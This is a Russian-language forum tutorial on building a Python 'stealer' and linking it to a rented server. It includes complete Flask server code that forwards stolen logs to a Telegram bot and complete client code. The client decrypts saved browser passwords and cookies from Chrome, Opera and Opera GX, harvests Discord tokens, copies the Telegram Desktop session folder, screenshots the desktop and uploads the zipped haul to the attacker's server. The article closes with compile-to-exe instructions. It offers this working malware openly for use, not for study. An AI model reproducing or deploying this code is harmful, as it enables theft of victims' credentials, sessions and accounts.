Просмотр новых публикаций

Последние сообщения с форума

Уэнсдэй (сериал 2022 – ...)
kishnin81, Кинообзор онлайн
0 Ответов
kishnin81
Легкий способ по смене ника на FunPay
kishnin81, Прочие статьи
1 Ответов
leeshyrank113
Riot Games Checker by HDF crack
kishnin81, Crack soft
3 Ответов
markgeologov
Соник 3 (2024)
kishnin81, Кинообзор онлайн
0 Ответов
kishnin81
Джокер: Безумие на двоих (2024)
kishnin81, Кинообзор онлайн
0 Ответов
kishnin81

Внимание! Если Вы видите рекламму на нашем ресурсе, установите для вашего браузера расширение Adblock Plus | AdBlocker Ultimate | Блокировщик рекламы |

Создаём свой стиллер на Python и привязываем его к серверу



В этой статье я покажу, как сделать стиллер на Python с отправкой в Telegram и привязать его к хостингу.

Зачем нужна привязка к хостингу?

Ответ прост - если сделать отправку напрямую в телеграм, то токен бота можно перехватить и так красть ваши логи. Поэтому мы сделаем так, чтобы наш стиллер сначала отправлял лог на наш сервер, и потом уже сервер отправлял нам лог в Telegram.

Подготавливаем хостинг

Покупаем хостинг. Лично я советую этот из-за своей небольшой цены на хостинги (не реклама). Операционную систему ставим Ubuntu 20 (в теории можно и другую линуксоподобную систему, но я тестил только на убунту, поэтому лучше поставить её).
После покупки скачиваем PuTTY, вводим туда IP-адрес хостинга и нажимаем "Соединиться". В логин пишем root, в пароль пишем пароль, который нам пришёл в письме (пример ниже)



Сам пароль во время ввода будет не виден, так надо, не пугайтесь. Важно! Когда будете вводить пароль, не вписывайте туда русские буквы, иначе вы не сможете их стереть и вам придётся заново всё вводить.

Вошли в систему. Для начала нам нужно обновить все уже существующие пакеты и скачать другие, необходимые нам для работы сервера.

Вписываем:

Код
sudo apt-get update
sudo apt-get install python3
sudo apt-get install python3-pip
sudo apt-get install python3-venv
sudo apt-get install nano
sudo apt-get install screen
pip3 install Flask
pip3 install pytelegrambotapi


После установки всех нужных нам пакетов вводим:

Код
mkdir server
python3 -m venv server
source server/bin/activate
cd server


С помощью этих команд мы создаём папку server и активируем в ней "виртуальное окружение" для сервера.

Затем нам нужно создать в папке server файл с нашим API для загрузки файлов.

Вписываем echo > "server.py" и nano server.py.

В появившемся окне вставляем код:

Код
from flask import Flask, render_template, request, jsonify
from werkzeug.utils import secure_filename
from telebot import TeleBot

TOKEN = ""
userid = 12345678
tb = TeleBot(token=TOKEN)
app = Flask(__name__)

delete_file_from_db_after_upload = False

@app.route("/uploadfile", methods=["GET", "POST"])
def upload_file():
  if request.method == "POST":
  print(request.files)
  ft = request.files.get("file")
  if ft is None:
  return jsonify(error="your request has no files")
  filename = f"uploaded/{secure_filename(ft.filename)}"
  ft.save(filename)

  with open(filename, "rb") as f:
  tb.send_document(userid, f, timeout=10)
  f.close()

  if delete_file_from_db_after_upload:
  os.remove(filename)

  return "1"
  else:
  return jsonify(error="POST request is required")


В самом коде в строке TOKEN = "" в кавычки вставляем токен вашего телеграм бота, а в строке userid = 12345678 вместо 12345678 вставляем user id вашего аккаунта в телеграм. Также, если вы хотите, чтобы файлы после отправки в телеграм удалялись из памяти сервера, в строке delete_file_from_db_after_upload = False вставляем True вместо False.
Закрываем файл сочетанием клавиш CTRL+X, вам предложит сохранить файл, соглашаемся, нажав букву Y.

После создания файла вписываем команды:

Код
screen -S server
export FLASK_APP=server.py
export FLASK_ENV=development
export FLASK_RUN_PORT=8000
export FLASK_RUN_HOST=0.0.0.0
flask run


Поздравляю! Вы запустили сервер, который принимает логи и отправляет их вам в тг. Но это ещё не всё. Теперь к самому главному.

Создаём стиллер

На этом этапе отходим от сервера и работаем с пк.
Скачиваем последний Python 3 и Nuitka (она нам потребуется для компиляции в .exe файл).

Заходим в смд и пишем:

Код
python -m pip install pypiwin32
python -m pip install pycrypto
python -m pip install Pillow


Затем создаём файл .py и пишем код:

Код
import sqlite3
import shutil
import os
import win32crypt
import json
from base64 import b64decode
from Crypto.Cipher import AES
import re
import platform
import requests
from PIL import ImageGrab
import random
import psutil
from distutils.dir_util import copy_tree

serverip = ""

serverlink = f"http://{serverip}:8000/uploadfile"

def get_masterkey(path):
  with open(path, "r") as f:
  masterkey = b64decode(json.loads(f.read())["os_crypt"]["encrypted_key"])[5:]
  f.close()
  return win32crypt.CryptUnprotectData(masterkey, None, None, None, 0)[1]

def screenshot():
  ss = ImageGrab.grab()
  ss.save("Скриншот.jpg")

def ip_and_location():
  r = requests.get("http://ip-api.com/json").json()
  return "IP: {}\nСтрана: {}\nГород: {}\nКоординаты: {}, {}".format(r["query"], r["country"], r["city"], r["lat"], r["lon"])

def specs():
  uname = platform.uname()
  geninfo = f"Операционная система: {uname.system} {uname.release}\n"
  geninfo += f"Имя пк: {uname.node}\n"
  geninfo += f"Процессор: {uname.processor}\n"
  return geninfo

def processes():
  proclist = ""

  for proc in psutil.process_iter():
  proc.dict = proc.as_dict(["username", "name"])
  if proc.dict.get("username") is None:
  continue
  if os.getlogin() in proc.dict.get("username"):
  proclist += proc.dict.get("name") + "\n"

  with open("Диспетчер задач.txt", "w") as f:
  f.write(proclist)
  f.close()

def get_info():
  with open("Основная информация.txt", "w") as f:
  f.write(specs() + ip_and_location())
  f.close()
  processes()
  screenshot()

def cdupper():
  os.chdir(os.path.split(os.getcwd())[0])

def cookies_decrypt(cpath, keypath):
  cookdata = ""
  dbname = os.path.split(cpath)[1]+".db"
  shutil.copy(cpath, dbname)

  conn = sqlite3.connect(dbname)
  c = conn.cursor()

  c.execute("SELECT host_key, name, value, path, expires_utc, is_secure, is_httponly, encrypted_value FROM cookies")
   
  for host_key, name, value, path, expires_utc, is_secure, is_httponly, encrypted_value in c.fetchall():
  try:
  decrypted_value = win32crypt.CryptUnprotectData(encrypted_value, None, None, None, 0)[1].decode("utf-8") or value or 0
  except:
  decrypted_value = AES.new(get_masterkey(keypath), AES.MODE_GCM, nonce=encrypted_value[3:3+12]).decrypt_and_verify(encrypted_value[3+12:-16], encrypted_value[-16:])
  cookdata += str(host_key) + "\t" + str(is_httponly) + "\t/\t" + str(is_secure) + "\t" + str(expires_utc) + "\t" + str(name) + "\t" + str(decrypted_value.decode()) + "\n"
  conn.close()
  os.remove(dbname)
  return cookdata

def passwords_decrypt(cpath, keypath):
  passdata = b""
  dbname = os.path.split(cpath)[1]+".db"
  shutil.copy(cpath, dbname)

  conn = sqlite3.connect(dbname)
  c = conn.cursor()

  c.execute("SELECT action_url, username_value, password_value FROM logins")

  for action_url, username_value, password_value in c.fetchall():
  action_url = action_url.encode("utf-8")
  username_value = username_value.encode("utf-8")
  try:
  decrypted_value = win32crypt.CryptUnprotectData(password_value, None, None, None, 0)[1].decode("utf-8")
  except:
  iv = password_value[3:15]
  payload = password_value[15:]
  cipher = AES.new(get_masterkey(keypath), AES.MODE_GCM, iv)
  decrypted_value = str(cipher.decrypt(payload)[:-16], "utf-8", "ignore")
  passdata += b"URL: " + action_url + b"\nUsername: " + username_value + b"\nPassword: " + decrypted_value.encode() + b"\n\n"
  conn.close()
  os.remove(dbname)
  return passdata

def chrome_cookies():
  keypath = os.getenv("LOCALAPPDATA") + "\\Google\\Chrome\\User Data\\Local State"
  dbpath = [os.getenv("LOCALAPPDATA") + "\\Google\\Chrome\\User Data\\Default\\Cookies", os.getenv("LOCALAPPDATA") + "\\Google\\Chrome\\User Data\\Default\\Cookies2"]
   
  if not os.path.isfile(keypath):
  return

  if os.path.isfile(dbpath[0]):
  cookdata = cookies_decrypt(dbpath[0], keypath)
  with open("Куки (Chrome).txt", "w") as f:
  f.write(cookdata)
  f.close()

  if os.path.isfile(dbpath[1]):
  cookdata = cookies_decrypt(dbpath[1], keypath)
  with open("Куки (Chrome) #2.txt", "w") as f:
  f.write(cookdata)
  f.close()

def chrome_passwords():
  keypath = os.getenv("LOCALAPPDATA") + "\\Google\\Chrome\\User Data\\Local State"
  dbpath = [os.getenv("LOCALAPPDATA") + "\\Google\\Chrome\\User Data\\Default\\Login Data", os.getenv("LOCALAPPDATA") + "\\Google\\Chrome\\User Data\\Default\\Login Data2"]
   
  if not os.path.isfile(keypath):
  return

  if os.path.isfile(dbpath[0]):
  passdata = passwords_decrypt(dbpath[0], keypath)
  with open("Пароли (Chrome).txt", "wb") as f:
  f.write(passdata)
  f.close()

  if os.path.isfile(dbpath[1]):
  passdata = passwords_decrypt(dbpath[1], keypath)
  with open("Пароли (Chrome) #2.txt", "wb") as f:
  f.write(passdata)
  f.close()

def opera_cookies():
  keypath = os.getenv("APPDATA") + "\\Opera Software\\Opera Stable\\Local State"
  dbpath = [os.getenv("APPDATA") + "\\Opera Software\\Opera Stable\\Cookies", os.getenv("LOCALAPPDATA") + "\\Opera Software\\Opera Stable\\Cookies2"]
   
  if not os.path.isfile(keypath):
  return

  if os.path.isfile(dbpath[0]):
  cookdata = cookies_decrypt(dbpath[0], keypath)
  with open("Куки (Opera).txt", "w") as f:
  f.write(cookdata)
  f.close()

  if os.path.isfile(dbpath[1]):
  cookdata = cookies_decrypt(dbpath[1], keypath)
  with open("Куки (Opera) #2.txt", "w") as f:
  f.write(cookdata)
  f.close()

def opera_passwords():
  keypath = os.getenv("APPDATA") + "\\Opera Software\\Opera Stable\\Local State"
  dbpath = [os.getenv("APPDATA") + "\\Opera Software\\Opera Stable\\Login Data", os.getenv("APPDATA") + "\\Opera Software\\Opera Stable\\Login Data2"]
   
  if not os.path.isfile(keypath):
  return

  if os.path.isfile(dbpath[0]):
  passdata = passwords_decrypt(dbpath[0], keypath)
  with open("Пароли (Opera).txt", "wb") as f:
  f.write(passdata)
  f.close()

  if os.path.isfile(dbpath[1]):
  passdata = passwords_decrypt(dbpath[1], keypath)
  with open("Пароли (Opera) #2.txt", "wb") as f:
  f.write(passdata)
  f.close()

def operagx_cookies():
  keypath = os.getenv("APPDATA") + "\\Opera Software\\Opera GX Stable\\Local State"
  dbpath = [os.getenv("APPDATA") + "\\Opera Software\\Opera GX Stable\\Cookies", os.getenv("LOCALAPPDATA") + "\\Opera Software\\Opera GX Stable\\Cookies2"]
   
  if not os.path.isfile(keypath):
  return

  if os.path.isfile(dbpath[0]):
  cookdata = cookies_decrypt(dbpath[0], keypath)
  with open("Куки (Opera GX).txt", "w") as f:
  f.write(cookdata)
  f.close()

  if os.path.isfile(dbpath[1]):
  cookdata = cookies_decrypt(dbpath[1], keypath)
  with open("Куки (Opera GX) #2.txt", "w") as f:
  f.write(cookdata)
  f.close()

def operagx_passwords():
  keypath = os.getenv("APPDATA") + "\\Opera Software\\Opera GX Stable\\Local State"
  dbpath = [os.getenv("APPDATA") + "\\Opera Software\\Opera GX Stable\\Login Data", os.getenv("APPDATA") + "\\Opera Software\\Opera GX Stable\\Login Data2"]
   
  if not os.path.isfile(keypath):
  return

  if os.path.isfile(dbpath[0]):
  passdata = passwords_decrypt(dbpath[0], keypath)
  with open("Пароли (Opera GX).txt", "wb") as f:
  f.write(passdata)
  f.close()

  if os.path.isfile(dbpath[1]):
  passdata = passwords_decrypt(dbpath[1], keypath)
  with open("Пароли (Opera GX) #2.txt", "wb") as f:
  f.write(passdata)
  f.close()

def find_token(path):

  path += "\\Local Storage\\leveldb"
  tokens = []
  for file_name in os.listdir(path):
  if not file_name.endswith(".log") and not file_name.endswith(".ldb"):
  continue
  for line in [x.strip() for x in open(f"{path}\\{file_name}", errors="ignore").readlines() if x.strip()]:
  for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"):
  for token in re.findall(regex, line):
  tokens.append(token)
  return tokens

def discord_token():
  rad = os.getenv("APPDATA")
  lad = os.getenv("LOCALAPPDATA")
  dcpaths = [rad + "\\discord", rad + "\\discordcanary", rad + "\\discordptb", lad + "\\Google\\Chrome\\User Data\\Default"]

  for dcpath in dcpaths:
  if not os.path.exists(dcpath):
  dcpaths.remove(dcpath)

  if dcpaths != []:
  tokenslist = find_token(dcpaths[0])
  tokens = "\n".join(tokenslist)
  else:
  tokens = "Discord не установлен!"

  with open("Discord Токены.txt", "w") as f:
  f.write(tokens)
  f.close()

def telegram_ssfn():
  diskletters = ["A", "B", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"]
  pcdisks = ["C"]
  for i in diskletters:
  if os.path.exists(i + ":\\"):
  pcdisks.append(i + ":\\")

  tgpath = ""
  for i in pcdisks:
  for root, dirs, files in os.walk(i):
  if "Telegram.exe" in files:
  tgpath = root
  break

  if tgpath != "":
  filelist = os.listdir(tgpath+"\\tdata")
  for i in filelist:
  if i == "D877F783D5D3EF8C":
  copy_tree(tgpath+"\\tdata\\"+i, i)
  break

if __name__ == "__main__":
  os.chdir(os.getenv("TMP"))
  r = requests.get("http://ip-api.com/json").json()
  filename = "{}_{}".format(r["countryCode"], r["query"])
  os.mkdir(filename)
  os.chdir(filename)
  os.mkdir("Браузеры")
  os.chdir("Браузеры")
  chrome_passwords()
  chrome_cookies()
  opera_passwords()
  opera_cookies()
  operagx_passwords()
  operagx_cookies()
  cdupper()
  os.mkdir("Другое")
  os.chdir("Другое")
  discord_token()
  telegram_ssfn()
  cdupper()
  get_info()
  cdupper()
  shutil.make_archive(filename, "zip", filename)
  shutil.rmtree(filename)
  with open(f"{filename}.zip", "rb") as f:
  req = requests.post(serverlink, files={"file": f}).text
  print(req)
  f.close()
  os.remove(f"{filename}.zip")


не бейте за говнокод пожалуйста

В строке serverip = "" в кавычки вписываем IP-адрес вашего сервера.

В кратце что он умеет:

Кража паролей и куки из браузеров Chrome (80+ версия поддерживается), Opera и Opera GX
Кража токенов дискорд
Кража папки-сессии Telegram Desktop

Закрываем файл и вводим в смd:

Код
cd Desktop
nuitka --standalone --output-dir=deploy-nui --onefile --windows-product-version=1.0.0 --windows-company-name=qwerty *путь до вашего файла*


Ждём пока всё скомпилируется, после компиляции заходим в появившуюся у вас на рабочем столе папку deploy-nui и видим там .exe файл вашего стиллера. Поздравляем! Теперь у вас есть свой стиллер, который выгружает логи к вам в телеграм без риска перехвата логов!

Спасибо, что прочитали мою статью.

Информация:
Посетители, находящиеся в группе Гости, не могут скачивать файлы с данного сайта.

Пароль к архивам: ComInet



22.03.2021 09:30 丨 Загрузок: 0 Просмотров: 301 Комментарий: (0)


Автор материала
...
Логин на сайте: ...
Группа: ...
Статус: ...

Категория

Поделись с друзьями


Комментариев: 0
avatar